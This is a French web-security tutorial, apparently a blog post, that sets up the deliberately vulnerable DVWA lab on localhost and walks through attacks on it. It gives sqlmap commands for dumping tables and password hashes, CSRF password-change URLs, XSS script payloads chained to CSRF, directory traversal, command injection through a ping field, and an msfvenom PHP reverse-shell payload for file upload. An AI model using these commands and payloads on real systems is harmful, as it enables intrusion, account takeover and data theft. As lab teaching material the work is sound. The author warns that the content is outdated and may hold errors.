🌙
  • đŸ‡ș🇾 English
  • đŸ‡«đŸ‡· Français
  • đŸ‡Ș🇩 Español

NOTE Post Réécriture : Cet article, et bien d’autres, fait parti de la sĂ©rie “Script kiddie”. Il a Ă©tĂ© Ă©crit il y a plusieurs annĂ©es. Son contenu n’est pas Ă  jour et il contient potentiellement des erreurs. Plus d’information sur la page de prĂ©sentation de la sĂ©rie.

Puisque la pratique permet toujours un meilleur apprentissage, je vous propose de vous exercer à l’aide d’un site internet. Nous allons, ici, utiliser DVWA, mais d’autres alternatives existent.

Installez d’abord le serveur web XAMPP pour avoir tous les services web prĂ©installĂ©s. N’oubliez pas en lançant le service web de tuer les autres qui peuvent dĂ©jĂ  ĂȘtre en fonction.

Puis, aller télécharger les fichiers à cette adresse : https://dvwa.co.uk/

Une fois cela fait, extrayez l’archive et copiez-la sur la racine du serveur web :

unzip DVWA-master.zip
mv DVWA-master /opt/lampp/htdocs/dvwa

Il va falloir configurer le logiciel, utilisez votre éditeur dans le fichier config.inc.php :

cd /opt/lampp/htdocs/dvwa/config
nano config.inc.php

Repérer les lignes suivantes dans le fichier :

$_DVWA = array();
$_DVWA[ 'db_server' ]   = '127.0.0.1';
$_DVWA[ 'db_database' ] = 'dvwa';
$_DVWA[ 'db_user' ]     = 'dvwa';
$_DVWA[ 'db_password' ] = 'p@ssw0rd';
$_DVWA[ 'db_port'] = '3306';

Modifiez les lignes « db_user » et « db_password » pour obtenir ceci :

$_DVWA[ 'db_user' ]     = 'root';
$_DVWA[ 'db_password' ] = '';

Sauvegardez le fichier de configuration et rendez-vous ensuite sur le site suivant : http://localhost/dvwa.

Naviguez jusqu’au bas de la page et appuyez sur le bouton « Create / Reset Database ». Le site devrait vous demander des identifiants. Rentrez « admin » pour le nom d’utilisateur et « password » pour le mot de passe. Une fois la page d’accueil ouverte, allez dans l’onglet « DVWA Security » et mettez la Ă  « Low » pour commencer.

Maintenant que votre laboratoire est créé, il est l’heure de commencer :)

Injection SQL

Les injections SQL sont un mode d’attaque Web qui vide Ă  rĂ©cupĂ©rer les informations d’une base de donnĂ©es ne nous appartenant pas. Si certains Hackers prĂ©fĂšrent les faire Ă  la main, nous nous contenterons de voir le rĂ©sultat automatisĂ© avec sqlmap.

Les deux premiĂšres parties seront un rĂ©capitulatif du fonctionnement d’un serveur Web ainsi que la maniĂšre dont se dĂ©roulera le TP (il faut bien s’entraĂźner).

Fonctionnement d’un serveur Web

Les serveurs Web gÚrent deux plans de travail, le cÎté client et le cÎté serveur. Les deux peuvent posséder de lourdes failles, mais ici, seul le cÎté serveur va nous intéresser.

Quand vous effectuez une requĂȘte sur un site, celui-ci utilise plusieurs langages de programmation :

Il existe d’autres langages, mais ceux-ci demeurent moins dĂ©mocratisĂ©s. Cependant, je vous recommande de vous intĂ©resser Ă  ces nouvelles technologies car le marchĂ© pourrait Ă©voluer en leur faveur !

Ainsi, lorsque vous formulez votre demande Ă  un serveur Web, si celui-ci possĂšde PHP + SQL, alors la page sera chargĂ©e Ă  l’aide de PHP qui ira chercher des informations (quand il en a besoin) dans la base de donnĂ©e avec SQL.

Injection avec sqlmap

Sqlmap est un logiciel qui permet l’automatisation des dites injections. Il va nous permettre en l’occurrence de rĂ©cupĂ©rer le plus d’informations que possible Ă  l’intĂ©rieur des bases de donnĂ©es. Nous nous baserons dans la suite de ce tutoriel sur l’onglet « SQL Injection » de DVWA.

Pour commencer :

python3 sqlmap.py -u http://localhost/index.php?id=4 --dbs

Cette commande va nous permettre de lister les bases présentes sur le serveur.

Quelques petites explications s’imposent :

Le programme se lance Ă  l’aide de python (j’utilise la version 3, qui est Ă  ce jour la plus rĂ©cente). Le paramĂštre -u permet de rentrer une URL Ă  inspecter et —dbs va ordonner Ă  sqlmap de chercher les diffĂ©rentes bases de donnĂ©es.

Vous pouvez voir qu’à l’intĂ©rieur de l’URL, un paramĂštre PHP est donnĂ© (id). Ici, on lui assigne la valeur 4 mais ceci a peu d’importance. En revanche, vous allez ĂȘtre obligĂ© de spĂ©cifier un paramĂštre d’URL que vous pensez ĂȘtre une faiblesse.

Comment savoir s’il y a une faille ? Rien de plus simple, est ce que quand vous modifier la valeur associer Ă  ce paramĂštre dans l’URL, la page se trouve ĂȘtre changer ? Si c’est le cas, il y a de forte chance pour que la page face une requĂȘte SQL Ă  l’aide de cette valeur (ou alors la page est changĂ©e avec une condition PHP).

Eh bien, il va falloir spĂ©cifier ce que vous pensez dĂ©faillants. S’il y en a plusieurs, sĂ©parez les d’un & comme dans les URL


sqlmap devrait vous demander des informations supplémentaires au cours de son exécution, à vous de juger ce qui vous semble bon pour continuer :)

Ceci devrait renvoyer le nom des différentes bases :

available databases [12]:
[*] baseTweet
[*] chat
[*] hidden
[*] humanite
[*] information_schema
[*] injection_db
[*] mysql
[*] opentube
[*] parmisnous
[*] performance_schema
[*] phpmyadmin
[*] test

J’utilise quotidiennement mon serveur, donc rien d’étonnant Ă  voir plus de bases de mon cĂŽté 

AprÚs avoir obtenu le nom des différentes bases, il nous faut lister les différentes tables.

Sur MySQL, les tables sont des tableaux oĂč sont regroupĂ©es les informations. Une base peut avoir plusieurs tables.

Lister les tables :

python3 sqlmap.py -u http://localhost/index.php?id=4 -D injection_db --tables

-D va permettre de dire dans quelle base regarder et --tables va spĂ©cifier que l’on souhaite obtenir les tables de cette base.

On obtient donc :

[1 table]
+--------------+
| user_details |
+--------------+

Ce qui veut dire que dans ma base injejection_db se trouve la table user_details.

On va dÚs à présent lister les colonnes présentes sur la table :

python3 sqlmap.py -u http://localhost/index.php?id=4 -T user_details --columns

-T dit que l’on cherche dans une table (ici user_details) et --columns spĂ©cifie que l’on veut rĂ©cupĂ©rer les colonnes.

Les colonnes sont les diffĂ©rentes catĂ©gories de votre table et vont ici nous permettre de savoir quels genres d’informations sont stockĂ©es.

Vous devriez obtenir ceci :

Database: injection_db
Table: user_details
[7 columns]
+------------+--------------+
| Column     | Type         |
+------------+--------------+
| first_name | varchar(50)  |
| gender     | varchar(10)  |
| last_name  | varchar(50)  |
| password   | varchar(50)  |
| status     | tinyint(10)  |
| user_id    | int(11)      |
| username   | varchar(255) |
+------------+--------------+

On connaßt dÚs à présent les différents types des différentes colonnes.

Explications :

Cela peut paraĂźtre inutile, mais elles permettent d’avoir plus d’informations sur l’évolution que peut avoir la base. Vient ensuite le moment le plus intĂ©ressant, lister le contenu de la table :

python3 sqlmap.py -u http://localhost/index.php?id=4 -T user_details --dump

Il s’agit de la mĂȘme commande que la prĂ©cĂ©dente, il faut juste remplacer --columns par --dump qui veut dire que l’on souhaite rĂ©cupĂ©rer le contenu.

On peut ensuite se balader librement dans les données :

+---------+--------+--------+----------------------------------+---------------+-------------+-------------+
| user_id | gender | status | password                         | username      | last_name   | first_name  |
+---------+--------+--------+----------------------------------+---------------+-------------+-------------+
| 1       | Female | 1      | e6a33eee180b07e563d74fee8c2c66b8 | rogers63      | john        | david       |
| 2       | Male   | 1      | 2e7dc6b8a1598f4f75c3eaa47958ee2f | mike28        | paul        | rogers      |
| 3       | Male   | 1      | 1c3a8e03f448d211904161a6f5849b68 | rivera92      | john        | david       |
| 4       | Male   | 1      | 62f0a68a4179c5cdd997189760cbcf18 | ross95        | sanders     | maria       |
| 5       | Female | 1      | 61bd060b07bddfecccea56a82b850ecf | paul85        | miller      | morris      |
| 6       | Female | 1      | 7055b3d9f5cb2829c26cd7e0e601cde5 | smith34       | michael     | daniel      |
| 7       | Female | 1      | b7f72d6eb92b45458020748c8d1a3573 | james84       | paul        | sanders     |
...

Avec la méthode POST

Il est un peu plus compliquĂ© d’injecter avec la requĂȘte POST. En effet, il va falloir prĂ©parer un fichier comportant l’ensemble des donnĂ©es qui peuvent ĂȘtre envoyĂ©es et que sqlmap va inspecter quels sont les paramĂštres injectables.

Pour ce faire, il faut juste remplir le formulaire et l’envoyer. Inspecter l’envoie de la requĂȘte dans l’inspecteur de Firefox (ou Chrome, Brave, Opera, etc.), dans l’onglet Network (RĂ©seau), sĂ©lectionnez l’envoi POST qui est apparue puis afficher l’en-tĂȘte en mode texte (appuyez sur interrupteur raw Ă  cĂŽtĂ© de Request Headers).

Faites un Copier coller dans un fichier texte et ajoutez-y les informations de la partie Request du sous menu de Network.

Celle-ci comprend les informations transmises avec la mĂ©thode POST. Copiez juste ce rĂ©sultat Ă  l’intĂ©rieur de votre fichier texte

Une fois votre beau fichier texte prĂȘt, il est temps de le faire inspecter par sqlmap :

python3 sqlmap.py -r ~/postrequest.txt -p name

-r sert Ă  rentrer le chemin vers votre fichier et -p dĂ©crit le ou les paramĂštres que vous pensez ĂȘtre vulnĂ©rables.

Sqlmap va donc tenter de trouver des failles qu’il vous renverra. Il les exploitera plus tard ou vous les offre pour que vous puissiez le faire manuellement.

On va ensuite se servir des vulnérabilités trouvées pour dire à sqlmap de les utiliser afin de retrouver la base de données :

python3 sqlmap.py -r ~/postrequest.txt --dbms mysql --current-db

--dbms nous permet de spécifier quel logiciel de bases de donnée est utilisé, cela va nous permettre de gagner du temps. Pour le trouver, la commande précédente vous la normalement donnée :

[INFO] the back-end DBMS is MySQL

--current-db ordonne à sqlmap de chercher la base de donnée auquel le paramÚtre que nous avons donné précédemment est envoyé.

Elle nous est donnée ici :

current database: 'injection_db'

Le reste des commandes ne requiert pas plus d’explications. Il s’agit des mĂȘmes qu’avec la mĂ©thode GET :

Récupérer les tables :

python3 sqlmap.py -r ~/postrequest.txt --dbms mysql -D injection_db --tables

Pour les colonnes :

python3 sqlmap.py -r ~/postrequest.txt --dbms mysql -T user_details --columns

Et enfin, les données :

python3 sqlmap.py -r ~/postrequest.txt --dbms mysql -T user_details --dump

Maintenant que vous savez utiliser sqlmap, je vous conseille de vous orienter vers une reprĂ©sentation concrĂšte de l’attaque dans le chapitre sur le langage SQL.

Cross Site Request Forgery (CSRF)

L’attaque CSRF est trĂšs particuliĂšre tout simplement car elle rĂ©vĂšle tout le cĂŽtĂ© social du hacker. En effet, avec la CSRF, il s’agit plus d’un jeu de manipulation que d’un vĂ©ritable coup de gĂ©nie.

Cette attaque consiste Ă  fabriquer une URL exĂ©cutant une action sur la machine de la victime. Un exemple rapide et pas trĂšs dangereux pour comprendre, il existe une URL sur Google permettant de changer la langue de l’utilisateur. Ceci ne reprĂ©sente en rien un problĂšme de sĂ©curitĂ©, mais vous pouvez parfaitement changer la langue du moteur de recherche de quelqu’un en lui envoyant ce lien (rien de risquĂ©, vous pouvez essayer) :

https://www.google.com/setprefs?sig=0_MpQ70NiX5Czvd-pT3S1Ts1HBr9g%3D&hl=ru&source=homepage&sa=X&ved=0ahUKEwjdleK7k_nyAhWvz4UKHYi8Ak0Q2ZgBCA4

L’exemple de DVWA est trĂšs pratique puisqu’il met en Ă©vidence une faille trĂšs importante : l’URL a la possibilitĂ© de modifier le mot de passe d’un utilisateur.

NOTE : Les mots de passe que vous allez changer sur la page se feront avec l’identifiant admin. Vous ĂȘtes en train de modifier le mot de passe de la page d’accueil de DVWA.

Si on essaye de changer le mot de passe par 1234, notre URL est changée en :

http://localhost/dvwa/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change

Appuyez sur le bouton « Test Credentials » pour essayer votre nouveau mot de passe avec l’identifiant admin. Normalement, cela devrait vous signaler un succĂšs.

Reprenons l’URL de tout à l’heure et modifions-la un peu :

http://localhost/dvwa/vulnerabilities/csrf/?password_new=ent&password_conf=ent&Change=Change

Cette fois-ci, le mot de passe n’est plus 1234 mais « ent ». Nous n’avons pas rentrĂ© le mot de passe dans le champ prĂ©vu Ă  cet effet sur la page, et l’avons directement fait dans l’URL. Si nous essayons de nous reconnecter sur la page « Test Credentials », rien Ă  signaler, le mot de passe est bien « ent ».

L’URL a donc le pouvoir de modifier mon mot de passe en « ent » pour peu que je la rentre dans mon navigateur. Imaginez maintenant que vous ĂȘtes un utilisateur lambda d’un forum et que vous souhaitiez gagner l’accĂšs au compte d’un modĂ©rateur. Si le mĂ©canisme pour se connecter et le mĂȘme, vous n’avez qu’à lui envoyer le lien permettant de modifier le mot de passe pour ensuite accĂ©der Ă  son compte.

Cette attaque est juste parfaite quand elle est couplée avec la suivante


Cross Site Scripting (XSS)

L’attaque XSS, pour Cross site scripting (on met XSS et non CSS, car CSS est langage informatique servant Ă  styliser les pages web), est une attaque qui vient impacter le client des victimes. Avec cette mĂ©thode, on va dĂ©couvrir comment envoyer du code JavaScript au serveur pour qu’il puisse l’exĂ©cuter malicieusement sur le client de nos victimes.

Afin de commencer en douceur, prenez l’onglet « XSS (Reflected) » de DVWA. La page affiche alors un champ de texte oĂč vous pouvez rentrer votre nom. TrĂšs vite aprĂšs l’avoir fait, on remarque que l’URL est agrĂ©mentĂ©e d’une variable contenant le texte rentré : http://localhost/dvwa/vulnerabilities/xss_r/?name=bob

Notre cerveau de professionnel de la sĂ©curitĂ© (je n’en doute pas) voit tout de suite qu’il y a une injection Ă  faire. Si vous ne trouvez pas tout de suite la faille, ce n’est pas grave, la plus grande partie de votre temps sera plus tard de toutes façons mobilisĂ©e Ă  chercher ces nombreuses failles et Ă  essayer de les exploiter. Ici, on peut se dire que le code vient tout simplement coller le contenu de la variable sur la page. Pour vĂ©rifier notre hypothĂšse, essayons de modifier la requĂȘte :

http://localhost/dvwa/vulnerabilities/xss_r/?name=<i>bob</i>

On remarque que les balises <i></i> (qui servent Ă  mettre un texte en italique) sont collĂ©s avec le texte, ce qui produit un nom en italique cĂŽtĂ© client. Si mettre du texte en italique lorsque vous voulez Ă©crire votre prĂ©nom peut amuser la galerie cinq minutes, je conçois que vous puissiez ĂȘtre intĂ©ressĂ© par quelque chose de plus grandiose.

Commençons donc à écrire un script :

<script>alert("Vulnérabilité XSS détectée !");</script>

Collons de suite cette ligne à notre URL :

http://localhost/dvwa/vulnerabilities/xss_r/?name=bob<script>alert("Vulnérabilité XSS détectée !");</script>

Vous pouvez voir qu’une boĂźte de dialogue apparaĂźt sur la page. GrĂące Ă  l’exĂ©cution de JavaScript, les possibilitĂ©s de l’attaque XSS deviennent immenses. En plus des poncifs habituels (vol de cookie, vol d’identifiant), vous avez la possibilitĂ© de casser des sites avec une simplicité 

De plus, rappelez-vous ce que je vous ai dit dans la partie prĂ©cĂ©dente sur la CSRF, l’attaque XSS va nous ĂȘtre utile. En effet, tout le cĂŽtĂ© ingĂ©nierie sociale qui rendait cette attaque compliquĂ©e (envoyer un lien est parfois trĂšs risquĂ©) est ici annulĂ©e puisque vous avez la possibilitĂ© d’effectuer votre requĂȘte directement avec JavaScript. Par exemple, avec la vulnĂ©rabilitĂ© de DVWA, il n’y aurait qu’à taper cette ligne de code suivante :

<script>
    location.href = "http://localhost/dvwa/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change"; 
</script>

Cependant, vos attaques XSS ne sont pas encore trĂšs performantes. Vous devez toujours envoyer l’URL Ă  quelqu’un pour que son navigateur exĂ©cute le code malicieux. Jetons un Ɠil sur l’onglet « XSS (stored) » de DVWA. En face de vous se trouve maintenant une page avec deux champs de texte, ressemblant Ă  s’y mĂ©prendre Ă  un espace commentaire.

Ici, le principe reste le mĂȘme que prĂ©cĂ©demment, mais Ă  la place de modifier l’URL, vous allez devoir rentrer votre code dans le champ de texte. Cette mĂ©thode est beaucoup plus pratique, car une fois le message postĂ©, l’ensemble des personnes visitant la page exĂ©cuteront votre code, plus besoin de leur envoyer une obscure missive donc !

Pour ce qui concerne la partie « XSS (DOM) », celle-ci est un peu plus complexe car nĂ©cessitant des connaissances en JavaScript un peu plus poussĂ©es, je ne l’aborderai donc pas ici afin de ne pas vous perdre


Autres types d’exploitation

Directory Traversal (File Inclusion)

Cette partie se fera sur l’onglet « File Inclusion » de DVWA. Tout de suite, vous remarquerez que l’URL prĂ©sente une petite spĂ©cificitĂ©, le nom du fichier est passĂ© dans une variable PHP : http://localhost/dvwa/vulnerabilities/fi/?page=include.php. Si l’on clique sur le bouton File1, l’URL se transforme mai garde toujours un nom de fichier en paramĂštre : http://localhost/dvwa/vulnerabilities/fi/?page=file1.php.

Quelle conclusion peut-on en tirer ? Que le nom du fichier qui sera ouvert est passĂ© en variable dans l’URL (ici, page). Donc si l’on modifie ceci pour mettre un chemin de fichier pointant vers un fichier externe au dossier, celui-ci, si la faille est prĂ©sente, devrait bien s’ouvrir et lire le contenu. Essayons de rentrer le chemin relatif de la page d’accueil de DVWA pour l’afficher :

http://localhost/dvwa/vulnerabilities/fi/?page=../../index.php

On rappelle la diffĂ©rence entre chemin relatif et absolu : le chemin absolu est un lien ne changeant pas peu importe le dossier dans lequel vous vous trouvez ; le chemin relatif dĂ©pend de l’endroit oĂč vous vous trouvez sur votre pc.

Pour rappelle sur Linux :

Donc si l’on veut rĂ©cupĂ©rer le contenu de la page d’accueil de DVWA, qui se situe dans le dossier parent au dossier parent de la page dans laquelle nous nous trouvons. C’est le chemin ../../index.php qui nous permet d’y accĂ©der. Ce faisant, vous pouvez accĂ©der Ă  n’importe quelles ressources du serveur Web, mĂȘme celles qui sont d’habitude fermĂ©es aux utilisateurs lambda.

Téléversement de fichier

L’onglet File Upload de DVWA vous permet de tĂ©lĂ©verser un fichier. Le problĂšme Ă©tant ici qu’aucune vĂ©rification n’est effectuĂ©e sur ledit fichier. Ainsi, Ă  la place d’une photo, rien ne vous empĂȘche de fabriquer un trojan avec Metasploit et de le tĂ©lĂ©verser :

msfvenom -p php/meterpreter/reverse_tcp LHOST=[ip] LPORT=[port] -o payload.php

Injection de commande

Il existe une fonction en PHP nommĂ©e shell_exex() qui permet au code d’exĂ©cuter une commande sur le serveur directement. Elle peut s’avĂ©rer trĂšs pratique pour certaines actions et rend bien service aux dĂ©veloppeurs , mais elle vient avec son lot de failles. Que se passerait-il si quelqu’un arrivait Ă  utiliser cette fonction et pouvait exĂ©cuter du code sur notre serveur ?

Si on jette un rapide coup d’Ɠil au code de la page, on remarque tout de suite la faille qui devra ĂȘtre exploitĂ©e :

$cmd = shell_exec( 'ping  -c 4 ' . $target );

Vous l’avez ? Si ce n’est pas le cas, je vous ferais remarquer que $target ne subit aucune vĂ©rification est que la variable est ajoutĂ©e directement Ă  la fin de la commande. Quelle conclusion en tirer ? Il est trĂšs facile d’injecter n’importe quelle commande sur la machine.

Rappelez-vous, pour signaler la fin d’une commande sur Linux, on met un ; à la fin :

mkdir build ; cd build

ou alors un && pour enchaßner sur une autre commande :

mkdir build && cd build

Ces deux lignes sont exactement les mĂȘmes (crĂ©er un dossier « build » et y aller).

Mais reprenons notre exemple, lorsque l’on rentre une IP, voilà à quoi ressemble notre commande :

ping -c 4 $target

Par exemple, avec l’IP 127.0.0.1 :

ping -c 4 127.0.0.1

On voit que $target vient prendre la valeur de ce que nous rentrons, mais le code ne possĂ©dant pas de vĂ©rification, sommes-nous obligĂ©s de rentrer qu’un IP ? La rĂ©ponse est bien Ă©videmment non, et c’est de lĂ  que provient la faille
 Prenons un deuxiĂšme exemple, rentrez « 127.0.0.1 && ls », la commande devient :

ping -c 4 127.0.0.1 && ls

Le site nous renvoie le résultat suivant :

PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.056 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.090 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.075 ms
64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.073 ms

--- 127.0.0.1 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3035ms
rtt min/avg/max/mdev = 0.056/0.073/0.090/0.012 ms
help
index.php
source

On a bien le résultat de la commande ping :

PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.056 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.090 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.075 ms
64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.073 ms

--- 127.0.0.1 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3035ms
rtt min/avg/max/mdev = 0.056/0.073/0.090/0.012 ms

Et celui de ls :

help
index.php
source

Et ceci marche avec (presque) n’importe quelle commande. Bien sĂ»r, l’intĂ©rĂȘt n’est pas trĂšs grand si c’est pour lister le contenu du dossier dans lequel vous vous trouvez. Mais imaginez si vous aviez le moyen d’exĂ©cuter une commande permettant le contrĂŽle total de la session
 C’est ce que vous avez vu dans le tutoriel sur Metasploit !

Pour l’heure, essayez de bien comprendre ce que vous venez de lire. Essayez plusieurs commandes sur DVWA, et si vous vous sentez prĂȘt, passez au niveau supĂ©rieur en changeant les paramĂštres dans l’onglet « DVWA security ». Je recommande un bon niveau en Linux pour continuer cependant.